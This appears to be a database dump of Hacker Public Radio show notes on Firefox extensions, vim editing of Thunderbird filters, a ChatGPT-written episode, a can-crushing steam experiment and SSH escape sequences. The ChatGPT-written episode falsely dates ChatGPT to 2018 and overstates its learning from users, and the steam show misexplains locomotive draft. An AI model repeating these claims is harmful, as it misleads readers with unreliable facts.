(3851,'2023-05-08','Firefox extensions',391,'Ken walks through a list of Extensions he has installed in Firefox and why he uses them','<p>The following is a list of the extensions I have enabled all the\ntime.</p>\n<ul>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/absolute-enable-right-click/\">Absolute\nEnable Right Click and Copy</a> Force Enable Right Click &amp; Copy</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/awesome-rss/\">Awesome\nRSS</a> Puts an RSS/Atom subscribe button back in URL bar.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/\">cookies.txt</a>\nExports all cookies to a Netscape HTTP Cookie File, as used by curl,\nwget, and youtube-dl, among others.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-with-paste/\">Don\'t\nFeck With Paste</a> This add-on stops websites from blocking copy and\npaste for password fields and other input fields.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/\">Firefox\nMulti-Account Containers</a> Lets you keep parts of your online life\nseparated into color-coded tabs. Cookies are separated by container,\nallowing you to use the web with multiple accounts.</li>\n<li><a href=\"https://tools.google.com/dlpage/gaoptout\"><a\nhref=\"https://tools.google.com/dlpage/gaoptout\">https://tools.google.com/dlpage/gaoptout</a></a>\nTells the Google Analytics JavaScript not to send information to Google\nAnalytics.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/keepassxc-browser/\">KeePassXC-Browser</a>\nOfficial browser plugin for the KeePassXC password manager (<a\nhref=\"https://keepassxc.org\">https://keepassxc.org</a>) the\nCross-platform Password Manager</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/modheader-firefox/\">ModHeader\n- Modify HTTP headers</a> Modify HTTP request headers, response headers,\nand redirect URLs</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/\">uBlock\nOrigin</a> Finally, an efficient blocker. Easy on CPU and memory.</li>\n<li><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher-revived/\">User-Agent\nSwitcher</a> Switch between popular useragent strings from toolbar\npopup!</li>\n</ul>\n',30,0,0,'CC-BY-SA','Extensions,Firefox,Security,Copy,Paste,Block,Privacy',0,0,1),
(3848,'2023-05-03','Editing Thunderbird email filters using vim.',1845,'Sgoti uses vim sessions to quickly edit his email filters.','<h3 id=\"prerequisites\">Prerequisites:</h3>\n<ul>\n<li>Backups of <strong>ALL</strong> your data (<em>especially your\nThunderbird directory</em>).<br />\n</li>\n<li><strong>Confirm your backups</strong> are working as expected.<br />\n</li>\n<li>Vim text editor installed with at least a basic/novice level\nknowledge of vim.<br />\n</li>\n<li>Thunderbird email client installed with at least a basic/novice\nlevel knowledge of the Thunderbird email client.<br />\n</li>\n<li>Web browser (preferably Firefox).<br />\n</li>\n</ul>\n<h3 id=\"thunderbird-directories.\">Thunderbird Directories.</h3>\n<p>I&#x2019;m on a GNU/Linux system (Pop_OS!) and I have Thunderbird installed\nvia the apt system package manager (.deb).</p>\n<ul>\n<li>System package manager install.\n<ul>\n<li><code>$HOME/.thunderbird/</code></li>\n</ul></li>\n<li>Snap package manager install.\n<ul>\n<li><code>$HOME/snap/.thunderbird/</code></li>\n</ul></li>\n<li>Flatpak package manager install.\n<ul>\n<li><code>$HOME/.var/.thunderbird/</code></li>\n</ul></li>\n<li>Windows 10 install.\n<ul>\n<li><code>C:\\Users\\your-account\\AppData\\Roaming\\Thunderbird\\</code></li>\n</ul></li>\n<li>Your Thunderbird email filters are located in this subdirectory\n(<em>msgFilterRules.dat</em>).\n<ul>\n<li><code>$HOME/.thunderbird/*.default-release/ImapMail/imap.email-accounts.com/msgFilterRules.dat</code></li>\n</ul></li>\n</ul>\n<h3 id=\"vim-directories.\">Vim Directories.</h3>\n<p>I&#x2019;ve created subdirectories within <code>$HOME/.config/</code> as a\nplace to store my vim sessions. You may not have these directories on\nyour system, but you can create them using the <code>mkdir</code>\ncommand.<br />\n</p>\n<ul>\n<li><code>$HOME/.config/vim/sessions/session-files-here.vim</code></li>\n</ul>\n<h3 id=\"vim-session-file.\">Vim session file.</h3>\n<p>I&#x2019;ve created session files for purposes of editing my Thunderbird\nemail filters. This session only stores the shortcuts needed to make\nflawless edits to my email filters. I will share them with you.<br />\n</p>\n<pre><code>nnoremap &lt;leader&gt;1 2dw$x0:s/ OR /\\rOR /g&lt;CR&gt;\nnnoremap &lt;leader&gt;2 Icondition=&quot;&lt;Esc&gt;A&quot;&lt;Esc&gt;0:s/ &quot;$/&quot;/&lt;CR&gt;\nnnoremap &lt;leader&gt;n1 gg0VG:s/$/ /&lt;CR&gt;gg0VG:s/  *$/ /&lt;CR&gt;gg0\nnnoremap &lt;leader&gt;s1 gg02f,&lt;C-v&gt;G$ugg02f,&lt;C-v&gt;G$:sort u&lt;CR&gt;gg0</code></pre>\n<h3 id=\"web-sources.\">Web sources.</h3>\n<ul>\n<li><strong>Article:</strong> <a href=\"https://www.vim.org/\"\ntitle=\"Vim is a highly configurable text editor built to make creating and changing any kind of text very efficient.\">Vim\n- the ubiquitous text editor</a><br />\n<ul>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.truth.sk/vim/vimbook-OPL.pdf\"\ntitle=\"Vim Documentation: The vim book (pdf file).\">Vim Documentation:\nThe vim book (pdf file).</a><br />\n</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.thunderbird.net/en-US/\"\ntitle=\"Make Email Easier.\">Thunderbird is a free email application\nthat&#x2019;s easy to set up and customize...</a><br />\n<ul>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/products/thunderbird\"\ntitle=\"Thunderbird Support site.\">Thunderbird Support site.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/keyboard-shortcuts-thunderbird?redirectslug=keyboard-shortcuts&amp;redirectlocale=en-US\"\ntitle=\"Keyboard shortcuts\">Keyboard shortcuts. Perform common\nThunderbird tasks quickly.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/protect-your-thunderbird-passwords-primary-password\"\ntitle=\"Primary Password has replaced Master Password.\">Protect your\nThunderbird passwords with a Primary Password.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/organize-your-messages-using-filters\"\ntitle=\"Message filters allow you to set up Thunderbird to organize your messages automatically.\">Organize\nYour Messages by Using Filters.</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://support.mozilla.org/en-US/kb/profiles-where-thunderbird-stores-user-data#w_finding-your-profile-without-opening-thunderbird\"\ntitle=\"How do I find my profile?\">Profiles. Where Thunderbird stores\nyour messages and other user data.</a><br />\n</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://medium.com/vim-drops/vim-sessions-50756b2c603a\"\ntitle=\"Vim&#x2019;s sessions, a tool to instantly save the state of everything in your current Vim session.\">Vim&#x2019;s\nsessions, a tool to instantly save the state of everything in your\ncurrent Vim session.</a><br />\n</li>\n</ul>\n<h3 id=\"creative-work-license.\">Creative work License.</h3>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Thunderbird, Vim, Email Filters',0,0,1),
(3852,'2023-05-09','UDM ubiquiti Setup for 2023',634,'I talk briefly about my UDM router setup for 2023','<p>UDM / Piehole script:<br />\n<a\nhref=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/UDM_Unifi_Block_Ads.sh\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/UDM_Unifi_Block_Ads.sh</a></p>\n',36,0,0,'CC-BY-SA','wireless,computers,networking',0,0,1),
(3853,'2023-05-10','Creating a Prompt for ChatGPT to generate an HPR show',613,'A rushed episode going over the steps I used to create a ChatGPT prompt to generate an HPR episode','<h1 id=\"introduction\">Introduction</h1>\n<p>Hello and Welcome hacker public radio audience my name is &#x2026; and\nwelcome to this podcast.</p>\n<p>As usual I\'d like to thank the people at HPR for making this service\navailable to us all on these here inter-tubes. Hacker Public Radio is a\ncommunity led podcast provided by the community for the community. That\nmeans you can contribute too.</p>\n<p>In this episode I decided to see if I could get get ChatGPT to write\nan HPR episode about itself. I was initially reluctant to do this.\nHowever, since HPR was recently short on shows and I was rather short on\ntime and ideas I decided to give it a go.</p>\n<p>One reason for my reluctance was that I didn\'t want HPR to be flooded\nwith shows generated by ChatGPT. The other reason being that a great\nshow covering ChatGPT was previously provided by the hpr host \"dnt\"\nentitled \"Chatbot hallucination\". Refer to 3803 <a\nhref=\"https://hackerpublicradio.org/eps.php?id=3803\">https://hackerpublicradio.org/eps.php?id=3803</a>.\nIn comparison, my poor attempt took about 10 minutes to generate while I\nwas waiting to be called for lunch.</p>\n<p>Below are the steps I used to generate the prompt to generate a show\nfor HPR.</p>\n<p>You interface with ChatGPT by providing it prompts. This just means\ntyping some text into the input field within the ChatGPT website.</p>\n<h1 id=\"the-steps-i-used-to-produce-the-chatgpt-prompt\">The steps I used\nto produce the ChatGPT prompt</h1>\n<p>Here is how I did it. Keep in mind that the complete process took\njust 10 minutes.</p>\n<ul>\n<li><p>I visited the ChatGPT website at:- <a\nhref=\"https://chatgpt.org/\">https://chatgpt.org/</a></p></li>\n<li><p>I copied and pasted the following prompt into ChatGPT. The text\nfor this prompt came from the following youtube video: <a\nhref=\"https://www.youtube.com/watch?v=OgYQAS9LY3o\">\"The ONE ChatGPT\nPrompt to Rule Them All\" by Jason West </a> :-</p>\n<ul>\n<li><p>I want you to become my Prompt Creator. Your goal is to help me\ncraft the best possible prompt for my needs. The prompt will be used by\nyou, ChatGPT. You will follow the following process:</p>\n<ol type=\"1\">\n<li><p>Your first response will be to ask me what the prompt should be\nabout. I will provide my answer, but we will need to improve it through\ncontinual iterations by going through the next steps.</p></li>\n<li><p>Based on my input, you will generate 3 sections.</p>\n<p>a) Revised prompt (provide your rewritten prompt. It should be clear,\nconcise, and easily understood by you),</p>\n<p>b) Suggestions (provide suggestions on what details to include in the\nprompt to improve it), and</p>\n<p>c) Questions (ask any relevant questions pertaining to what\nadditional information is needed from me to improve the\nprompt).</p></li>\n<li><p>We will continue this iterative process with me providing\nadditional information to you and you updating the prompt in the Revised\nprompt section until it\'s complete.</p></li>\n</ol></li>\n</ul></li>\n</ul>\n<h2 id=\"chatgpt-responded-with-\">ChatGPT responded with:-</h2>\n<blockquote>\n<p>Sounds like a fun and collaborative process! What should the prompt\nbe about?</p>\n</blockquote>\n<h2 id=\"i-replied-with-the-following-prompt-\">I replied with the\nfollowing prompt:-</h2>\n<blockquote>\n<p>Write a show for the hacker public radio podcast describing the\nhistory and use of ChatGPT. Include some examples about what it can be\nused for. Also include some relevant web links about ChatGPT.</p>\n</blockquote>\n<h2 id=\"chatgpt-responded-with--1\">ChatGPT responded with:-</h2>\n<blockquote>\n<p>Great! Based on your input, here are the revised prompt, suggestions,\nand questions for further clarification:</p>\n</blockquote>\n<h3 id=\"revised-prompt\">Revised prompt:</h3>\n<blockquote>\n<p>Create a Hacker Public Radio podcast episode that explores the\nhistory and applications of ChatGPT. Share examples of how ChatGPT can\nbe used and include relevant web links for listeners to learn more.</p>\n</blockquote>\n<h3 id=\"suggestions\">Suggestions:</h3>\n<ul>\n<li>Consider including information about the development of ChatGPT,\nsuch as who created it and when.</li>\n<li>Provide clear and concise examples of how ChatGPT can be used in\nvarious industries and fields, such as customer service, content\ncreation, and chatbots.</li>\n<li>Highlight the benefits and limitations of using ChatGPT, including\nits ability to learn and adapt to user inputs and the potential ethical\nconcerns surrounding its use.</li>\n<li>Provide relevant web links, such as the official OpenAI website and\narticles about the latest developments in ChatGPT technology.</li>\n</ul>\n<h3 id=\"questions\">Questions:</h3>\n<ul>\n<li>Is there a specific angle or focus you want to take in exploring the\nhistory and applications of ChatGPT?</li>\n<li>Do you have any specific examples or use cases of ChatGPT that you\nwould like to be included in the podcast episode?</li>\n<li>How technical should the podcast be? Should it cater to a more\ngeneral audience or dive into more technical details?</li>\n</ul>\n<h2 id=\"i-replied-with-the-following-prompt--1\">I replied with the\nfollowing prompt:-</h2>\n<ul>\n<li><p>Create a Hacker Public Radio podcast episode that explores the\nhistory and applications of ChatGPT. Share examples of how ChatGPT can\nbe used and include relevant web links for listeners to learn\nmore.</p></li>\n<li><p>Include information about the development of ChatGPT, such as who\ncreated it and when.</p></li>\n<li><p>Provide clear and concise examples of how ChatGPT can be used in\nvarious industries and fields, such as customer service, content\ncreation, and chatbots.</p></li>\n<li><p>Highlight the benefits and limitations of using ChatGPT,\nincluding its ability to learn and adapt to user inputs and the\npotential ethical concerns surrounding its use.</p></li>\n<li><p>Provide relevant web links, such as the official OpenAI website\nand articles about the latest developments in ChatGPT\ntechnology.</p></li>\n<li><p>The show is mainly aimed at hobbyist. Many of the listeners will\nhave Linux experience and IT experience. Some listeners may have some\nprogramming experience.</p></li>\n<li><p>The article should cater for both a general audience while also\ndiving into more technical details.</p></li>\n<li><p>Format the article using markdown as required.</p></li>\n</ul>\n<h2 id=\"chatgpt-responded-with--2\">ChatGPT responded with:-</h2>\n<h3 id=\"revised-prompt-1\">Revised prompt:</h3>\n<blockquote>\n<p>Create a Hacker Public Radio podcast episode exploring the history\nand applications of ChatGPT, an artificial intelligence language model\ndeveloped by OpenAI. ChatGPT has become increasingly popular due to its\nability to understand and generate human-like text, and its applications\nspan a wide range of industries and fields.</p>\n<p>In this episode, we will dive into the development of ChatGPT,\nincluding who created it and when. We will explore the technology behind\nit and how it has evolved over time.</p>\n</blockquote>\n<blockquote>\n<p>We will also provide clear and concise examples of how ChatGPT can be\nused in various industries and fields, such as customer service, content\ncreation, and chatbots. For example, ChatGPT can be used to generate\npersonalized responses to customer inquiries in real-time, create\nhigh-quality content for websites and social media platforms, and power\nchatbots that can assist with a range of tasks.</p>\n<p>Additionally, we will highlight the benefits and limitations of using\nChatGPT, including its ability to learn and adapt to user inputs and the\npotential ethical concerns surrounding its use. As ChatGPT continues to\ngrow in popularity, it is important to consider the implications of\nusing AI technology that can generate human-like text, such as the\npotential for bias and misinformation.</p>\n<p>To provide listeners with more information, we will include relevant\nweb links, such as the official OpenAI website and articles about the\nlatest developments in ChatGPT technology.</p>\n<p>This episode will cater to a general audience while also diving into\nmore technical details for listeners with Linux, IT, or programming\nexperience. The article will be formatted using markdown as\nrequired.</p>\n</blockquote>\n<h3 id=\"suggestions-1\">Suggestions:</h3>\n<ul>\n<li>Consider including interviews with experts in the field of AI or\nindividuals who have used ChatGPT in their work.</li>\n<li>Provide real-world examples of how ChatGPT has been used in various\nindustries and fields.</li>\n<li>Discuss the potential future applications of ChatGPT and where the\ntechnology may be headed.</li>\n<li>Address any common misconceptions or concerns about the use of AI\nlanguage models like ChatGPT.</li>\n</ul>\n<h3 id=\"questions-1\">Questions:</h3>\n<ul>\n<li>Is there a specific length you would like the podcast episode to\nbe?</li>\n<li>Are there any specific individuals or companies you would like us to\nfeature in the episode?</li>\n<li>Is there any particular tone or style you would like us to use for\nthe podcast episode?</li>\n</ul>\n<hr />\n<ul>\n<li><p>I stopped at this point and decided not to take on board any\nfurther suggestions or refinements. As I mentioned at the beginning this\nwhole process probably took no longer than 10mins.</p></li>\n<li><p>I will provide the show generated by ChatGPT in my next\nepisode.</p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p><a href=\"https://en.wikipedia.org/wiki/ChatGPT\">Wikipedia article\ncovering ChatGPT</a></p></li>\n<li><p><a href=\"https://chatgpt.org/\">Link to the official ChatGPT\nwebsite</a></p></li>\n<li><p><a href=\"https://youtu.be/C_78DM8fG6E\">Interesting TED talk that\nincludes the inside story of ChatGPT by Greg Brockman</a></p></li>\n</ul>\n<!--\nvim: syntax=markdown:ts=4:sw=4:tw=0:et:ai:\n-->\n',201,0,1,'CC-BY-SA','ChatGPT,AI,\"Artificial Inelegance\"',0,0,1),
(3863,'2023-05-24','HPR episode about ChatGPT produced by ChatGPT',553,'In this article I gave ChatGPT a prompt and it produced an HPR episode about ChatGPT','<h1 id=\"introduction\">Introduction:</h1>\n<p>This is part 2 of my Chat GPT episode. (For part 1 refer to\nHPR3853)</p>\n<p>Incidentally I was quite surprised how long it took me to pull\ntogether part 1. This was primarily because I had to do all the work\ncreating the show notes. Part 2 should be a lot quicker since most of\nthe work including formatting the article in markdown was done by\nChatGPT.</p>\n<p>The only change I made to the episode created by ChatGPT was to\ncorrect a minor markdown formatting error in the OpenAI link at the\nbottom of the article.</p>\n<h1 id=\"the-following-article-was-produced-by-chatgpt\">The following\narticle was produced by ChatGPT</h1>\n<p>It was produced from the following prompt. The prompt itself was\nmostly written by ChatGPT with minimal input from myself. The prompt\ntook me 10 minutes to produce. Refer to my previous episode HPR3853.</p>\n<h2 id=\"prompt-used-to-create-hpr-episode\">Prompt used to create HPR\nepisode:</h2>\n<ul>\n<li><p>Create a Hacker Public Radio podcast episode exploring the\nhistory and applications of Chat GPT, an artificial intelligence\nlanguage model developed by OpenAI. Chat GPT has become increasingly\npopular due to its ability to understand and generate human-like text,\nand its applications span a wide range of industries and\nfields.</p></li>\n<li><p>In this episode, we will dive into the development of Chat GPT,\nincluding who created it and when. We will explore the technology behind\nit and how it has evolved over time.</p></li>\n<li><p>We will also provide clear and concise examples of how Chat GPT\ncan be used in various industries and fields, such as customer service,\ncontent creation, and chatbots. For example, Chat GPT can be used to\ngenerate personalized responses to customer inquiries in real-time,\ncreate high-quality content for websites and social media platforms, and\npower chatbots that can assist with a range of tasks.</p></li>\n<li><p>Additionally, we will highlight the benefits and limitations of\nusing Chat GPT, including its ability to learn and adapt to user inputs\nand the potential ethical concerns surrounding its use. As Chat GPT\ncontinues to grow in popularity, it is important to consider the\nimplications of using AI technology that can generate human-like text,\nsuch as the potential for bias and misinformation.</p></li>\n<li><p>To provide listeners with more information, we will include\nrelevant web links, such as the official OpenAI website and articles\nabout the latest developments in Chat GPT technology.</p></li>\n<li><p>Provide real-world examples of how Chat GPT has been used in\nvarious industries and fields.</p></li>\n<li><p>Discuss the potential future applications of Chat GPT and where\nthe technology may be headed.</p></li>\n<li><p>Address any common misconceptions or concerns about the use of AI\nlanguage models like Chat GPT.</p></li>\n<li><p>This episode will cater to a general audience while also diving\ninto more technical details for listeners with Linux, IT, or programming\nexperience.</p></li>\n<li><p>The episode should be approximately 1000 words long.</p></li>\n<li><p>Format the article using markdown as required.</p></li>\n</ul>\n<h2\nid=\"the-episode-created-by-chatgpt-all-nicely-formated-in-markdown\">The\nepisode created by ChatGPT all nicely formated in Markdown:</h2>\n<hr />\n<h1 id=\"hpr-episode-exploring-chat-gpt\">HPR Episode: Exploring Chat\nGPT</h1>\n<h2 id=\"introduction-1\">Introduction</h2>\n<p>In recent years, artificial intelligence (AI) has become an\nincreasingly popular topic in various industries and fields. One such\nexample is Chat GPT, an AI language model developed by OpenAI. Chat GPT\nhas the ability to understand and generate human-like text, making it a\npowerful tool for customer service, content creation, and chatbots. In\nthis episode, we will dive into the history and applications of Chat\nGPT.</p>\n<h2 id=\"history-of-chat-gpt\">History of Chat GPT</h2>\n<p>Chat GPT was first introduced in 2018 by OpenAI. It is part of a\nseries of AI language models known as the GPT series, with \"GPT\"\nstanding for \"Generative Pre-trained Transformer.\" Chat GPT was\ndeveloped using a deep learning technique called a transformer neural\nnetwork, which allows it to process large amounts of text and generate\ncoherent responses.</p>\n<h2 id=\"applications-of-chat-gpt\">Applications of Chat GPT</h2>\n<h3 id=\"customer-service\">Customer Service</h3>\n<p>Chat GPT can be used to generate personalized responses to customer\ninquiries in real-time. This can save companies time and money by\nautomating the customer service process. Chat GPT can also learn from\nprevious interactions to improve its responses over time.</p>\n<h3 id=\"content-creation\">Content Creation</h3>\n<p>Chat GPT can create high-quality content for websites and social\nmedia platforms. For example, it can be used to write product\ndescriptions, social media posts, and even entire articles.</p>\n<h3 id=\"chatbots\">Chatbots</h3>\n<p>Chat GPT can power chatbots that can assist with a range of tasks.\nFor example, it can be used to schedule appointments, answer common\nquestions, and even provide emotional support.</p>\n<h2 id=\"benefits-and-limitations-of-chat-gpt\">Benefits and Limitations\nof Chat GPT</h2>\n<h3 id=\"benefits\">Benefits</h3>\n<p>One of the main benefits of Chat GPT is its ability to learn and\nadapt to user inputs. This allows it to generate personalized responses\nthat are tailored to each individual user. Chat GPT can also process\nlarge amounts of text quickly, making it a useful tool for companies\nthat need to generate a lot of content.</p>\n<h3 id=\"limitations\">Limitations</h3>\n<p>However, there are also some limitations to using Chat GPT. One\npotential concern is the potential for bias and misinformation. Since\nChat GPT learns from existing text, it may pick up biases or\ninaccuracies that exist in the data it is trained on. Additionally,\nthere is a risk that Chat GPT may generate inappropriate or offensive\nresponses if it is not properly monitored.</p>\n<h2 id=\"future-applications-of-chat-gpt\">Future Applications of Chat\nGPT</h2>\n<p>Chat GPT has already been used in a variety of industries and fields,\nbut there is still a lot of potential for future applications. For\nexample, it could be used to power virtual assistants that are even more\nintelligent and personalized than current offerings. It could also be\nused to generate more sophisticated chatbots that can assist with\ncomplex tasks.</p>\n<h2 id=\"common-misconceptions-and-concerns\">Common Misconceptions and\nConcerns</h2>\n<p>One common misconception about Chat GPT is that it is a threat to\nhuman jobs. While it is true that Chat GPT can automate certain tasks,\nit is unlikely to replace humans entirely. Instead, it is more likely to\naugment human abilities and make certain tasks more efficient.</p>\n<p>Another concern is the ethical implications of using AI language\nmodels like Chat GPT. It is important to ensure that the data used to\ntrain Chat GPT is diverse and free of biases. Additionally, it is\nimportant to ensure that Chat GPT is used responsibly and not used to\nspread misinformation or harm individuals.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>Chat GPT is a powerful tool that has the potential to revolutionize\ncustomer service, content creation, and chatbots. While there are some\nlimitations and concerns associated with its use, the benefits of using\nChat GPT are clear. As the technology continues to evolve, it is\nimportant to consider the ethical implications and ensure that it is\nused responsibly.</p>\n<p><a href=\"https://openai\">For more information on Chat GPT, visit the\nofficial OpenAI website at https://openai</a></p>\n',201,0,1,'CC-BY-SA','ChatGPT, AI, Artificial Inelegance',0,0,1),
(3883,'2023-06-21','Emergency Show: How to demonstrate the power of condensing steam',483,'A kitchen experiment to demonstrate the power of condensing steam','<h2>A kitchen experiment to demonstrate the power of condensing steam</h2>\n\n<p>What do you think about when you consider how a steam engine works?</p>\n\n<p>Well you probably think about a fire used to heat water in a pressure vessel to form super-heated steam.</p>\n\n<p>Then that steam is injected into cylinders in a controlled and sequenced manner to push a piston up the length of the cylinder.  Piston rods and cranks are used to change the linear motion into rotary motion to drive wheels or gears.</p>\n\n<p>Inertia causes the rotary motion, through the same cranks and rods, to expel the spent steam from the cylinder, before the whole cycle begins again.</p>\n\n<p>But that\'s only half the story.</p>\n\n<p>Steam engines also use the power of a partial vacuum created by condensing steam to produce linear motion in the same way, or to suck the hot products of combustion from the fire through pipes which pass through the pressure-vessel and heat the water.</p>\n\n<h3>What you will need for the experiment</h3>\n\n<ol>\n<li>An empty drinks can, such as a 330ml soda can.</li>\n<li>A shallow container, such as a baking tray.</li>\n<li>A pair of barbecue tongs or kitchen tongs with which you will be able to grasp a hot can without burning your hand or getting too close to the heat.</li>\n<li>A source of heat, the cooker top in the kitchen is ideal.</li>\n</ol>\n\n<h3>How to do it</h3>\n\n<h4>Step 1:</h4>\n\n<p>Thoroughly wash out the empty can.  Any sugary residue might burn and smell.</p>\n\n<p>Put about a centimetre (half an inch) of water into the can.  Enough to cover the centre of the concave end of the can inside.</p>\n\n<h4>Step 2:</h4>\n\n<p>Place your shallow container next to your source of heat.  This will most probably be a baking tray on the kitchen worktop next to the cooker where you will heat your can.</p>\n\n<p>Put about a centimetre (half an inch) of cool water in the tray.</p>\n\n<h4>Step 3:</h4>\n\n<p>Place your can on the heat.  It will quickly begin to boil because it only contains a small amount of water.</p>\n\n<p>Wait until the water is really boiling and filling the can with steam.</p>\n\n<p>Grasp the can with the tongs.  You need to do this in an underhand grip which will allow you to, in one swift and smooth motion, remove the can from the heat, turn it over and plunge the open end into the cool water in the tray.</p>\n\n<p>Do exactly that.  As swiftly and smoothly as you can.</p>\n\n<p>Here you will see the need for a vessel like a baking tray, the larger target makes the quick and smooth transfer of the can from the heat to the condensing cool water easier.</p>\n\n<p>What happens?</p>\n\n<p>The can is full of steam, which will instantly condense when the open end of the can is plunged into the cool water.</p>\n\n<p>Bam!</p>\n\n<p>The partial vacuum created in the can will cause it to be very quickly and impressively crushed.</p>\n\n<p>The power of a partial vacuum is far easier to harness and is more powerful than pushing a piston along a cylinder with pressurised steam.</p>\n\n<p>The mechanism of an efficient steam engine will inject pressurised steam into a cylinder during the phase of motion where the piston is pushed up the length of the cylinder, and inject a small amount of cold water into the cylinder fractionally after the full travel of the piston and as it is just beginning the return stroke.  In this way the cylinder is both pushed and pulled up and down the cylinder.</p>\n\n<p>But the condensing part of the cycle is far more efficient at pulling the piston than the steam injection phase is at pushing it.</p>\n\n<p>The dramatic \'chugging\' of a steam engine as it pulls away from a station is the part of the sequence in which condensing steam is used to create a partial vacuum in the smoke-box at the front of the engine.  The hot products of combustion are drawn by this partial vacuum from the fire at the far end of the engine, through the pipes which pass through the boiler, increasing the efficiency of the heating of the water.  The same partial vacuum is also used to increase the draft of air into the furnace.</p>\n\n<p>It is mostly the rush of clean air into the furnace, drawn by the partial vacuum, which gives rise to the deep and pleasing heart-beat of a big powerful engine as it works hard to move a heavy train from a standing start.</p>\n\n<p>Mike</p>\n\n',282,0,0,'CC-BY-SA','steam, condensing, vacuum, demonstrate, experiment',0,0,1),
(3849,'2023-05-04','trouble shooting',610,'don\'t over look the obvious','<p><em>Kernel message</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/01.kernel_message.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/01.kernel_message_thumbnail.kernel_message.jpg\"\nalt=\"Kernel message\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<p><em>BIOS message</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/02.bios_message.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/02.bios_message_thumbnail.bios_message.jpg\"\nalt=\"BIOS message\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>CMOS</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3849/03.cmos.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/03.cmos_thumbnail.cmos.jpg\"\nalt=\"CMOS\" /></a> <br/><small><small><em>Click the thumbnail to see the\nfull-sized image</em></small></small></p>\n<p><em>RAM</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3849/04.ram.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/04.ram_thumbnail.ram.jpg\"\nalt=\"RAM\" /></a> <br/><small><small><em>Click the thumbnail to see the\nfull-sized image</em></small></small></p>\n<p><em>Mother board side</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/05.mother_board_side.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/05.mother_board_side_thumbnail.mother_board_side.jpg\"\nalt=\"Mother board side\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>The culprit</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/06.the_culprit.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/06.the_culprit_thumbnail.the_culprit.jpg\"\nalt=\"The culprit\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n',326,0,0,'CC-BY-SA','repair, trouble shooting',0,0,1),
(3855,'2023-05-12','SSH (or OpenSSH) Escape Sequences',592,'Claudio talks about OpenSSH escape sequence features.','<ul>\n<li>BSD Now Episode 504: <a href=\"https://www.bsdnow.tv/504\"\nclass=\"uri\">https://www.bsdnow.tv/504</a></li>\n<li>Closing a Stale SSH Connection: <a\nhref=\"https://davidisaksson.dev/posts/closing-stale-ssh-connections/\"\nclass=\"uri\">https://davidisaksson.dev/posts/closing-stale-ssh-connections/</a></li>\n<li>Using the SSH \"Konami Code\" (OpenSSH Control Sequences): <a\nhref=\"https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/\"\nclass=\"uri\">https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/</a></li>\n</ul>\n',152,0,0,'CC-BY-SA','openssh,ssh,bsd,linux,openbsd,netbsd,freebsd',0,0,1),
